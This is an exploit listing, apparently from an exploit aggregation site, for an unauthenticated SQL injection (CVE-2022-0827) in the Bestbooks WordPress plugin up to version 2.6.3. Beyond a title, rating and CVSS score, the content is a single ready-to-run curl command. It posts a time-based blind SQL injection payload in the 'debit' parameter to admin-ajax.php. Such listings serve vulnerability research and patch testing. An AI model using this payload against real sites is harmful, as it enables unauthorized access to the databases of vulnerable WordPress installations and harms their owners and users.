Exploit for Bestbooks <= 2.6.3 - Unauthenticated SQLi CVE-2022-0827

Name: Exploit for Bestbooks <= 2.6.3 - Unauthenticated SQLi CVE-2022-0827
Rating: 5 (88 reviews)

2022-05-17 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:0D208EBC-7805-457B-AA5F-FFD5ADB2F3BE
Affected parameters: credit and debit

curl https://example.com/wp-admin/admin-ajax.php \
    --data 'action=bestbooks_add_transaction&type=x&account=x&date=x&description=3&debit=(CASE WHEN (9277=9277) THEN SLEEP(5) ELSE 9277 END)&credit=1'